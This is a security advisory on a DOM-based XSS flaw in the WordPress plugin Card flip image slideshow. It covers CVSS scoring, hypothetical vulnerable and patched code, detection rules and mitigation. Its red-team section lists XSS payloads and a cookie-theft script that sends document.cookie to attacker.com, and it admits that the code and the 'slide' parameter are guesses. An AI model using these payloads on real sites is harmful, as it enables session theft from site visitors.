CVE-2025-30983

Executive Summary

CVE-2025-30983 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Card flip image slideshow by gopiplus, affecting versions up to and including 1.5. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. The CVSS score is 6.5 (Medium), with a low EPSS probability of 0.0%, indicating low active exploitation at the time of analysis. No public proof-of-concept (PoC) or exploit code has been identified, and no patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's page for updates and consider disabling the plugin until a patch is released. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the potential for DOM-based attacks in a WordPress context make this a concern for site administrators.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the attack payload is executed entirely on the client side without being sent to the server. The vulnerable plugin likely processes user input (e.g., via URL parameters, cookies, or client-side storage) and injects it into the DOM without proper sanitization. For example, a parameter like ?slide=... might be used to dynamically load slide content, and if the value is not escaped, an attacker can inject JavaScript.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter (e.g., ?slide=<script>alert('XSS')</script>).
2. The victim clicks the link or is redirected to the crafted URL.
3. The plugin's JavaScript reads the parameter and inserts it into the DOM (e.g., via innerHTML or document.write).
4. The injected script executes in the victim's browser, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the user.

Root Cause: The plugin fails to use safe DOM manipulation methods (e.g., textContent instead of innerHTML) and does not sanitize input using functions like encodeURIComponent or a DOMPurify library.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (JavaScript):

// Vulnerable: Directly sets innerHTML from URL parameter
var slideParam = new URLSearchParams(window.location.search).get('slide');
document.getElementById('slideshow').innerHTML = slideParam;

Patched Code (Hypothetical):

// Patched: Uses textContent to prevent script execution
var slideParam = new URLSearchParams(window.location.search).get('slide');
document.getElementById('slideshow').textContent = slideParam;

Alternative Patched Code (Using DOMPurify):

// Patched: Sanitizes input before insertion
var slideParam = new URLSearchParams(window.location.search).get('slide');
var sanitized = DOMPurify.sanitize(slideParam);
document.getElementById('slideshow').innerHTML = sanitized;

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and activated.
• Ability to craft a malicious URL.

Exploit Steps:

1. Identify the vulnerable parameter (e.g., slide, img, url). This requires source code review or fuzzing.
2. Craft a payload: <img src=x onerror=alert('XSS')> or <script>alert(document.cookie)</script>.
3. Construct the malicious URL: http://target-site.com/?slide=<img src=x onerror=alert('XSS')>.
4. Send the link to the victim via email, social engineering, or other means.
5. Upon clicking, the script executes in the victim's browser.

Example Payload (Steal Cookies):

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual URL parameters containing <script>, <img onerror>, or encoded variants.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Disable the plugin until a patch is released.
• Apply a virtual patch via WAF rules (e.g., block requests with slide parameter containing <script>).
• Educate users about phishing links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with parameters containing <script>, <img onerror>, or javascript: URIs.
  • Outbound connections to unknown domains from the victim's browser (e.g., for cookie exfiltration).
• File IOCs:
  • Modified plugin files (e.g., card-flip-image-slideshow/js/slideshow.js) containing injected JavaScript.
• Behavioral IOCs:
  • Unexpected pop-ups or redirects on the WordPress site.
  • Unauthorized changes to site content or user accounts.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_30983_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads targeting CVE-2025-30983 in WordPress Card Flip Image Slideshow"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30983"
    strings:
        $xss1 = /slide=[^&]*<script/i
        $xss2 = /slide=[^&]*<img[^>]+onerror/i
        $xss3 = /slide=[^&]*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Detect XSS Attempts Against Card Flip Image Slideshow
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads in the slide parameter targeting CVE-2025-30983
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "slide=<script"
            - "slide=<img"
            - "slide=javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in slide names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30983 XSS Attempt - Card Flip Image Slideshow"; flow:to_server,established; content:"slide="; nocase; pcre:"/slide=[^&]*(<script|<img[^>]+onerror|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a security update is released.
2. Apply a virtual patch using a WAF to block requests containing XSS patterns in the slide parameter.
3. Monitor logs for any signs of exploitation.

Long-Term Fix:

• The vendor (gopiplus) must release a patched version that sanitizes user input using safe DOM methods (e.g., textContent) or a library like DOMPurify.
• Users should update to the latest version once available.

General Best Practices:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly audit WordPress plugins for vulnerabilities.
• Use a security plugin (e.g., Wordfence) to add an additional layer of protection.

Valters IT